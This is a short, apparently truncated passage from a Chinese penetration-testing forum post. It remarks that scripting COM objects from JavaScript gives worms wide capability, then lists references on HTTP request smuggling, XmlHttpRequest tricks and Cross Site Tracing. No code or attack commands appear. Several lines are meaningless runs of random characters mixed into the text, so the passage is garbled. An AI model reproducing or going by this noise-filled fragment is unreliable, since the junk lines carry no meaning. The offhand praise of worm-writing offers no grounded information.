操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.

0 D  d# l4 k5 j1 V& \
. b3 ?3 ?7 S9 ~6 T$ h


0 E: w% v  P/ O0 b) B* W
1 L' {3 R& S" f# H) y

/ G" t& [7 y4 x) e本文引用文档资料:

"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
Other XmlHttpRequest tricks (Amit Klein, January 2003)
"Cross Site Tracing" (Jeremiah Grossman, January 2003)
http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
空虚浪子心BLOG http://www.inbreak.net
Xeye Team http://xeye.us/
& i- e' F6 u, s' P# {; \4 Y

---

欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)

Powered by Discuz! X3.2